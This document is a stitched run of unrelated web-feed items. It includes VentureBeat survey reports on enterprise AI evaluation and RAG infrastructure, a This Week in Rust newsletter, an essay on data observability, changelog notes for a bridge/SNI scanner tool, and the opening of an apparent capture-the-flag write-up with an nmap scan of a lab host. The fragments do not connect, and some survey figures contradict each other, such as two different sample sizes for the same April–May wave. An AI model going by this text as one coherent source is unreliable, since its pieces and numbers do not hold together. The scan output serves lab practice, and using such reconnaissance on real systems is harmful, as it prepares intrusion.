Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.

The bottom line: An evaluation gap that autonomy will widen, not close

Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.

The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.

Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

The bottom line: A context gap that more retrieval alone won’t close

Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.

The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.

Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.

The post Best Open Speech Recognition (ASR) Models in 2026: WER, Languages, Latency, and License Compared appeared first on MarkTechPost.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

• Announcing Rust 1.97.1

Newsletters

• The Embedded Rustacean Issue #76

Project/Tooling Updates

• Announcing Topcoat: a framework for building full-stack reactive web apps with Rust
• Syn 3.0.0
• What’s New in RustRover 2026.2
• kobe 0.35.0: readiness gates and cert recycling
• Comhad v0.1.0: a ranger-style tui cyberduck replacement for browsing S3
• Nova v0.2.1: computer-use MCP server
• winit now has comprehensive cross-platform drag-and-drop support, exposing most of the power of the underlying OS APIs
• crimson-crab v0.1.0 - a production-grade Rust SDK for the Claude API (streaming, tool use, prompt caching, batches)
• ferrovec: dependency-light HNSW vector search in Rust, compiled to WebAssembly for private in-browser semantic search
• OrdoFP 0.1.0 released — a functional-programming toolbelt for Rust (HList, GAT type classes, optics, effects, monad transformers)
• Freya 0.4
• buildline: merging cargo and ninja's build profiling into one timeline
• cochlea 0.3.0: melody read-back, MFCC timbre, a master limiter, and MIDI import for the deterministic agent-audio engine
• flodl 0.6.0: multi-host heterogeneous DDP - mismatched GPUs across hosts beat the fastest card alone
• hwatu: a daemon-based WebKitGTK browser for tiling WMs with ~13ms window spawn
• kache 0.11.0: broader compiler coverage and libc-aware keys
• tracing-reload - reload layer without panics
• Introducing OpenTypeless: Voice Input That Actually Works
• Reading a Rust crate's capabilities out of its compiled symbols

Observations/Thoughts

• Battery packs: Let's talk about crates, baby
• Capture Clauses as Effects
• Hardening Rust Code For Production
• Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks
• Rust service hardening and production checklist
• [audio] The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board
• [video] Jon Gjengset: Open Source Maintenance 2026-07-18
• [video] Rust Release Changelog - 1.97.0
• [video] Livestream: Rust in Ubuntu

Rust Walkthroughs

• I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.
• Two tricky bugs in a Rust daemon
• [video] Backend Concepts in Rust: Securely Managing App Secrets
• [video] Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)

Crate of the Week

This week's crate is xan, a TUI toolkit to work with CSV files.

Thanks to Simeon H.K. Fitch for the suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

• No Calls for participation were submitted this week.

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

• No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

576 pull requests were merged in the last week

Compiler

• account for async closures when pointing at lifetime in return type
• comptime inherent impls
• dep_graph: deduplicate task reads with an epoch-filtered index recorder
• eagerly check for ambiguity in macro parsing
• implement #[diagnostic::opaque] attribute to hide backtraces of macros
• shrink ast::Expr64

Library

• add explicit Iterator::count impl for str::EncodeUtf16
• implement bool::toggle
• implement const_binary_search
• implement Debug helpers via Cell
• implement VecDeque::truncate_to_range
• make pin!() more foolproof
• move std::io::BufRead to alloc::io
• move std::io::Read to alloc::io
• move std::io::read_to_string to alloc::io

Cargo

• use PGO for Cargo
• timings: only report units the job queue actually ran
• do not include proc-macro deps in rustc search path args
• include SBOM outputs in fingerprints
• lazily initialize git2 fetch transports

Rustdoc

• fix auto trait normalization env
• use PGO for rustdoc

Clippy

• add block_scrutinee lint
• avoid invalid ref_as_ptr suggestions in const/static initializers
• detect == 0 on unsigned types as a manual_clamp lower bound
• fix if_not_else linting on macro expanded conditions
• fix needless_collect suggests a suggestion that cannot be typed
• non_zero_suggestions: don't lint signed integer div/rem as NonZero
• manual_filter: don't eat comments in the and_then suggestion
• require the use of as _ for indirectly used traits in clippy sources
• rewrite min_ident_chars
• use #[must_use] determination from the compiler

Rust-Analyzer

• avoid index panic when flycheck list is empty
• add capture hints to coroutines
• add handler for E0572
• do not assume array destructuring assignments with rest pattern are constant-sized
• eagerly normalize .await's IntoFuture::Output
• enable auto trait inference
• extract variable preserving whitespace from macro input
• fix coroutines not recording binding owners correctly
• fix crashes in assists due to .unwrap() calls in SyntaxFactory
• fix hir crate leaking bound variables from skipped binders
• fix InferenceContext:identity_args using the wrong DefId
• fix syntax bridge panic when spilting float
• handle enum variants in next-solver generics
• implement lowering of HRTB
• invalid pattern_matching_variant lowering due to recovery
• merge WherePredicate::ForLifetimes into WherePredicate::TypeBound
• only write anon const ty in parent's inference result if it doesn't have its own inference
• panic with a function item and a proc macro item having a duplicate name
• parser to error on macro type bound
• spawn proc-macro servers on requests clearing the client cache
• use quote! inside ast::make::expr_call()
• use Result for the lsp-server Response payload type
• record expressions in types in ExprScope

Rust Compiler Performance Triage

The two most notable changes this week were #159115, which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks, and #159091, which enabled PGO for rustdoc, which makes it ~3-4% faster across the board.

There were two large rollups with tiny performance regressions, which made it difficult to find the offending PRs.

Triage done by @Kobzol. Revision range: 5503df87..d527bc9b

Summary:

2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups 34 artifact comparisons made in total

Full report here.

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• Tracking Issue for bool::toggle
• Tracking Issue for vec_try_remove
• Avoid computing layout of enums with non-int discriminants
• Tracking Issue for const_btree_len
• Add raw_borrows_via_references lint
• stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw
• rustc_passes: lint unused #[path] attributes on inline modules

• Emit note when calling rustc without specifying an edition
• Let the OS handle stack growth
• Add target_feature_available_at_call_site

• Deallocate post-2026 funds from PM and compiler-ops

• Do the bytes of a pointer have to stay in the same order?

No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team or Rust RFCs.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

• RFC: Refactor the libs team

Upcoming Events

Rusty Events between 2026-07-22 - 2026-08-19 🦀

Virtual

• 2026-07-24 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Fourth Tuesday
• 2026-07-28 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-07-31 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-01 | Virtual (Kampala, UG) | Rust Circle Meetup
  • Rust Circle Meetup
• 2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: First Sunday
• 2026-08-04 | Virtual (London, UK) | Women in Rust
  • 👋 Community Catch Up
• 2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
  • Indy.rs - with Social Distancing
• 2026-08-07 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-11 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Second Tuesday
• 2026-08-13 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-08-13 | Virtual (Nürnberg, DE) | Rust Nuremberg
  • Rust Nürnberg online
• 2026-08-14 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-18 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Dealing with Dependencies

Africa

• 2026-08-11 | Johannesburg, ZA | Johannesburg Rust Meetup
  • Rust's extended standard library

Asia

• 2026-07-25 | Mumbai, IN | Rust Mumbai
  • ​Rust Mumbai — July Meetup 🦀
• 2026-07-26 | Pune, IN | Rust Pune
  • Rust Pune: July 2026

Europe

• 2026-07-23 | Berlin, DE | Rust Berlin
  • Rust Berlin Talks: The next generation
• 2026-07-23 | London, UK | Rust London User Group
  • LDN Talks: July 2026 Antithesis Takeover
• 2026-07-23 | London, UK | London Rust Project Group
  • Rama modular service framework for Rust
• 2026-07-23 | Paris, FR | Rust Paris
  • Rust meetup #87
• 2026-07-25 | Stockholm, SE | Stockholm Rust
  • Ferris' Fika Forum #28
• 2026-07-27 | Augsburg, DE | Rust Meetup Augsburg
  • Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production
• 2026-07-29 | Poland, PL | Rust Poland
  • Rust Poland x Kraków #10
• 2026-07-30 | Copenhagen, DK | Copenhagen Rust Community
  • Rust meetup #70
• 2026-07-30 | Manchester, UK | Rust Manchester
  • Rust Manchester July Code Night
• 2026-08-18 | Aarhus, DK | Rust Aarhus
  • Hack Night: Trust but verify the LLM
• 2026-08-18 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
  • Topic TBD

North America

• 2026-07-22 | Austin, TX, US | Rust ATX
  • Rust Lunch - Fareground
• 2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
  • Rust LA: Rust in Distributed Systems with Flight Science!
• 2026-07-22 | New York, NY, US | Rust NYC
  • Rust NYC: Write A Custom Coding Agent and wasm_zero
• 2026-07-23 | Mountain View, CA, US | Hacker Dojo
  • RUST MEETUP at HACKER DOJO
• 2026-07-25 | Boston, MA, US | Boston Rust Meetup
  • Porter Square Rust Lunch, July 25
• 2026-07-25 | Brooklyn, NY, US | Flower
  • BOG-A-THON 2
• 2026-07-30 | Atlanta, GA, US | Rust Atlanta
  • Rust-Atl
• 2026-08-01 | Boston, MA, US | Boston Rust Meetup
  • Chinatown Rust Lunch, Aug 1
• 2026-08-04 | Boston, MA, US | Boston Rust Meetup
  • Evening Boston Rust Meetup at Red Hat, Aug 4
• 2026-08-06 | Saint Louis, MO, US | STL Rust
  • Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API
• 2026-08-13 | Lehi, UT, US | Utah Rust
  • Utah Rust August Meetup
• 2026-08-13 | San Diego, CA, US | San Diego Rust
  • San Diego Rust August Meetup - Back in person!
• 2026-08-15 | San Francisco, CA, US | Flower
  • BOG-A-THON 3
• 2026-08-18 | San Francisco, CA, US | San Francisco Rust Study Group
  • Rust Hacking in Person
• 2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Dealing with Dependencies

Oceania

• 2026-07-23 | Perth, AU | Rust Perth Meetup Group
  • Rust Perth: July Meetup!
• 2026-07-30 | Melbourne, AU | Rust Melbourne
  • Rust Melbourne July 2026

South America

• 2026-08-08 | São Paulo, SP | Rust-SP
  • Rust SP - Aug/2026

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

– Carl Lerche on r/rust about the launch of topcoat

Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.

Please submit quotes and vote for next week!

This Week in Rust is edited by:

• nellshamrell
• llogiq
• ericseppanen
• extrawurst
• U007D
• mariannegoldin
• bdillo
• opeolluwa
• bnchi
• KannanPalani57
• tzilist

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

The post Next-Gen Telco Cloud Performance with AMD EPYC 9005 Series appeared first on SUSE Communities.

This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

The failure that doesn't look like a failure 

An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

Why this is a data engineering problem

Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

• AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

• Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

What's actually missing: Data observability

Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

What to do Monday morning

If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

• Is the underlying data validated against the standards required by its consumers?

• What's the oldest piece of content currently being served with high confidence?

• Would two chunks of the same source ever disagree with each other in the same retrieval result?

• Could you trace where it came from if it turned out to be wrong?

If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

Fixed

• SNI scanner never found a working host. Every probe failed with an internal .NET SslStream error (the certificate-validation callback was set in two places at once), so results always came back "blocked" and the scanner looked like it did nothing. It now completes TLS handshakes and reports reachable SNI hosts correctly.
• SNI scanner status messages are now localized ("Ready.", "Scanning…", "Enter at least one domain to test.", etc.) instead of always showing in English.

Added

• The saved-bridges library now shows a Ping column - the latency measured when each entry was saved.

Downloads

Added

• Bridge scanner: "Load bridges" — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).
• "Import file" on both the bridge scanner and the SNI scanner — load bridge lines / candidate domains from a .txt/.csv file.
• Saved-bridges library: ping badge — each saved entry's latency now shows as a green (or amber, when slow) "✔ ms" badge instead of a plain number.

Downloads

High-concurrency digital platforms maintain sub-50ms API response times by executing threat inspection directly at the network edge using BGP Anycast routing. Integrating enterprise edge security requires balancing volumetric L3/L4 packet filtering against Layer 7 application inspection without introducing unacceptable Round-Trip Time (RTT) degradation for legitimate connections.

0x00: Enumeration

• Started with running a TCP Scan on the target via Nmap.

nmap -sC -sV -p- 10.48.128.241 

Nmap scan report for 10.48.128.241
Host is up (0.039s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_11-14-20  04:26PM                  173 notice.txt
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
|_http-title: Simple Slide Show
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.4.11)
|_http-title: Simple Slide Show
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
| http-methods: 
|_  Potentially risky methods: TRACE
| tls-alpn: 
